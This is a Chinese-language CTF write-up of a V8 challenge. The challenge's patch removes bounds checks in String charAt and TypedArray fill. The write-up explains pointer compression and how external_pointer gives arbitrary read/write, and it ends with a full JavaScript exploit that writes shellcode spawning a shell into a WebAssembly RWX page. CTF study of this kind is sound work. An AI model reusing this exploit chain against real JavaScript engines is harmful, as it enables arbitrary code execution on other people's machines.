前言

這算是我第一次解 javascript engine 的題目,之前雖然有稍微看過別人的 writeup 但是沒有自己撰寫 exploit 的經驗,雖然在一天內往腦袋裡塞進一堆 v8 的相關知識實在是有點吃不消,不過這題相對來說算是 v8 的入門題,解起來蠻有趣也學到不少新知識,有點可惜的是我是在完賽後 1 小時才解出來,早知道不睡了

因為與 v8 相關的知識有點雜亂且有不少人寫過了,加上我也沒多熟,所以這篇會著重在解題思路跟我碰到的問題上

漏洞

雖然 readme 裡有提供本次題目使用的 v8 版本資訊(commit hash),但這次的題目居然直接是 debug build 的 v8,自己不用重編一次實在是感激不盡QQ

本題的 bug 還蠻簡單的,從 diff.diff 中可以大致得知有兩個邊界檢查被拿掉了,一個是和 String 有關,另一個則是與 TypedArray 有關

src/builtins/builtins-string.tq
@@ -81,7 +81,7 @@ namespace string {
         const kMaxStringLengthFitsSmi: constexpr bool =
             kStringMaxLengthUintptr < kSmiMaxValue;
         StaticAssert(kMaxStringLengthFitsSmi);
-        if (index >= length) goto IfOutOfBounds;
+        // if (index >= length) goto IfOutOfBounds;
         goto IfInBounds(string, index, length);
       }
src/builtins/builtins-typed-array.cc
@@ -131,13 +131,15 @@ BUILTIN(TypedArrayPrototypeFill) {
     if (!num->IsUndefined(isolate)) {
       ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
           isolate, num, Object::ToInteger(isolate, num));
-      start = CapRelativeIndex(num, 0, len);
+      //start = CapRelativeIndex(num, 0, len);
+      start = CapRelativeIndex(num, 0, 100000000);
 
       num = args.atOrUndefined(isolate, 3);
       if (!num->IsUndefined(isolate)) {
         ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
             isolate, num, Object::ToInteger(isolate, num));
-        end = CapRelativeIndex(num, 0, len);
+        //end = CapRelativeIndex(num, 0, len);
+        end = CapRelativeIndex(num, 0, 100000000);
       }
     }
   }

追進 v8 原始碼裡很容易的就可以發現 String 的檢查繞過,可以用以下三種方式來觸發:

  • String.prototype.charAt
  • String.prototype.charCodeAt
  • String.prototype.codePointAt

而 TypedArray 的繞過則是在呼叫 TypedArray.prototype.fill 的時候觸發,不過 javascript 中並沒有這個 class,這裡是泛指所有帶型別的 Array 例如:

  • Int8Array
  • Uint32Array
  • Float64Array

(TypedArray | MDN)

開始 debug

看到這裡我就覺得,咦任意 read/write 有這麼爽的嗎,看來這題是可以解了吧(?)

至於該怎麼 debug,在我參考了一些以前的 writeup 之後,得知在 debug build 的 v8 裡可以用 %DebugPrint(var) 印出一些 internal 的資訊。不過那些 internal structure 的詳細結構我翻 source code 翻半天也沒看出個所以然,最後決定參考 halbecaf 的文章中的結構

 0x0|-------------------------
    |kMapOffset
 0x8|-------------------------
    |kPropertiesOffset
0x10|-------------------------
    |kElementsOffset
0x18|-------------------------
    |kLengthOffset
0x20|-------------------------

原以為有任意讀寫會很順利,沒想到打開 gdb 開始 debug 才發現不太對勁

gef➤  x/10gx 0x34308082590
0x34308082590:  0x080406e9081c04e1      0x0808255508082585
0x343080825a0:  0x0000000000000000      0x0000000000000004
0x343080825b0:  0x0000000000000004      0x0000034300000007
0x343080825c0:  0x0000000008082585      0x0000000000000000
0x343080825d0:  0x08040a1500000000      0x9999999a00000008

上面是 print 出一個 v8::internal::JSArray 的記憶體資訊,很明顯地跟 halbecaf 提到的不同,這些數值看起來一點都不像是個合理的指標

不過我很快就發現若是用 4 byte 為單位來印的話似乎是某種 offset (?)

gef➤  x/10wx 0x34308082590
0x34308082590:  0x081c04e1      0x080406e9      0x08082585      0x08082555
0x343080825a0:  0x00000000      0x00000000      0x00000004      0x00000000

接著對照 vmmap 的輸出就大致確信這裡儲存的確實是 v8 內部 mmap 的地址的 offset

0x0000034308140000 0x0000034308141000 0x0000000000000000 rw-                                 
0x0000034308141000 0x0000034308180000 0x0000000000000000 ---
0x0000034308180000 0x0000034308200000 0x0000000000000000 rw-        
0x0000034308200000 0x0000034400000000 0x0000000000000000 ---

看來很明顯是我漏看了一些資訊,回頭瀏覽了題目資料夾中的其他檔案後,就發現在 v8_build_config 裡有這麼一個設定 "v8_enable_pointer_compression": true,看來是藉由只儲存 offset 來降低記憶體開銷的設計

在這上面耗了不少時間之後,最後總算從 v8 的 issue tracker 上的討論串 Issue 7703: Compressed pointers in V8 找到一份 pointer compression 的文件

src/common/ptr-compr.h 中可以確定這個版本的 v8 上採用的是文件中提到的 Variant 2,也就是 4GB-aligned 的版本,會在儲存指標時只存最後 32bit 作為 offset,要存取該指標時才加上一個 base pointer 解壓縮,將記憶體資訊對照 %DebugPrint(var) 的輸出也會發現其實整體的結構並沒有差太多,只是儲存單位從 8byte 變成 4byte 而已

接下來參考一些 writeup 後 (放在下方參考資料處) 便知道可以透過改寫 JSArray 內部的指標來達到任意寫入,以及可以從每個 mmap 的 page 的最開始處 leak 出指向 mmap page 上物件的指標,前者可以利用 TypeArray,後者則可以用 String 的漏洞來達成,看起來是如此的完美

…問題是這次有開啟 v8_enable_pointer_compression,內部在操作前會先加上一個 base pointer,所以沒辦法任意放指標進去QQ (例如說 heap, libc 的 address)

我在這裡卡了好久,最後決定先去睡覺XD

意外的發現

隔天睡醒之後用 %DebugPrint 玩了一陣子才突然發現 JSTypedArray 印出的資訊裡有這麼一項別的 type 所沒有的:

- data_ptr: 0x3430808267c
  - base_pointer: 0x8082675
  - external_pointer: 0x34300000007

其中 external_pointer 正是我所需要的資訊,用 gdb 也可以確認到在附近的 offset 存有這個值,簡單用 gdb 改掉值測試之後確實可以正常讀取寫入,總算發現出題者的思路了(!)

有了這些資訊之後,就能大致想出該怎麼解:
(有趣的是解這題只需要用到 TypedArray 的漏洞)

  • 分配兩個 TypedArray A, B
  • 利用漏洞繞過檢查,改寫 A array 本身的長度
  • leak base address
  • 用 A array 改寫 B array 的內部指標
  • 利用 B array 任意讀寫

最後彈 shell 可以利用 v8 中 WebAssembly 的 code 在編譯完之後會被放在一個 rwx 的 page 上的特性(?),透過任意寫寫入 shellcode 最後執行該 function 就可以拿到 flag 啦

Flag: p4{c0mPIling_chr@mium_1s_h4rd_ok?}

Exploit

a = new Uint8Array([0xee,0xee,0xee,0xee]);
b = new Float64Array([1.1,1.1,1.1,1.1]);
c = new Array({},2,3,4); // offset(a->c) == 0x188
// d = new String('pwned') // actually, we don't need this lol

// credits to google ctf:
// https://github.com/google/google-ctf/blob/master/2018/finals/pwn-just-in-time/exploit/index.html
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);

BigInt.prototype.hex = function() {
  return '0x' + this.toString(16);
};

BigInt.prototype.i2f = function() {
  int_view[0] = this;
  return float_view[0];
}

Number.prototype.hex = function() {
  return '0x' + this.toString(16);
};

Number.prototype.f2i = function() {
  float_view[0] = this;
  return int_view[0];
}

// make itself long enough to overwrite b
a.fill(0xff, 28, 30);
a.fill(0xff, 36, 38);

// leak base
// mmap_base = BigInt(d.charCodeAt(-0xe6c0) + (d.charCodeAt(-0xe6c0 + 1) << 8)) << 32n
mmap_base = BigInt(a[0x13c] + (a[0x13d] << 8)) << 32n
console.log('mmap base:', mmap_base.hex())

function addr_of(x) {
  c[0] = x
  offset = a[0x188] + (a[0x189]<<8) + (a[0x18a]<<16) + (a[0x18b]<<24)
  return mmap_base + BigInt(offset) - 1n
}

function leak(address, bytes=8) {
  address -= 8n
  hi = Number(address >> 32n)
  lo = Number(address & 0xffffffffn) + 1

  for(let i = 0; i < 4; i++) {
    bt = hi & 0xff
    hi >>= 8
    a.fill(bt, 0x13c+i, 0x13d+i);
    bt = lo & 0xff
    lo >>= 8
    a.fill(bt, 0x140+i, 0x141+i);
  }

  mask = 0xFFFFFFFFFFFFFFFFn >> BigInt(64-8*bytes)
  return b[0].f2i() & mask
}

function leak_comp_untag(address) {
  return mmap_base + leak(address, 4) - 1n
}

function write(address, value) {
  address -= 8n
  hi = Number(address >> 32n)
  lo = Number(address & 0xffffffffn) + 1

  for(let i = 0; i < 4; i++) {
    bt = hi & 0xff
    hi >>= 8
    a.fill(bt, 0x13c+i, 0x13d+i);
    bt = lo & 0xff
    lo >>= 8
    a.fill(bt, 0x140+i, 0x141+i);
  }

  b[0] = value.i2f()
}


// https://mbebenita.github.io/WasmExplorer/
// (module
//  (export "main" (func $main))
//   (func $main (; 0 ;) (result i32)
//     (i32.const 42)
//  )
// )
var wasm_code = new Uint8Array([
    0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01,
    0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60, 0x00, 0x01,
    0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00,
    0x06, 0x81, 0x80, 0x80, 0x80, 0x00, 0x00, 0x07, 0x88,
    0x80, 0x80, 0x80, 0x00, 0x01, 0x04, 0x6d, 0x61, 0x69,
    0x6e, 0x00, 0x00, 0x0a, 0x8a, 0x80, 0x80, 0x80, 0x00,
    0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a,
    0x0b
]);

var shellcode = new Uint8Array([
    0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0,
    0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f,
    0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05
])

var wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code))
var pwned = wasm_instance.exports.main;

var inst_addr = addr_of(wasm_instance)
var rwx_addr = leak(inst_addr + 0x68n, 8)
console.log('rwx buffer:', rwx_addr.hex())

for (var i in shellcode) {
  write(rwx_addr + BigInt(i), BigInt(shellcode[i]))
}

pwned()

寫在最後,如果文內有任何錯誤或是有啃 v8 原始碼相關的建議歡迎來信XD

參考資料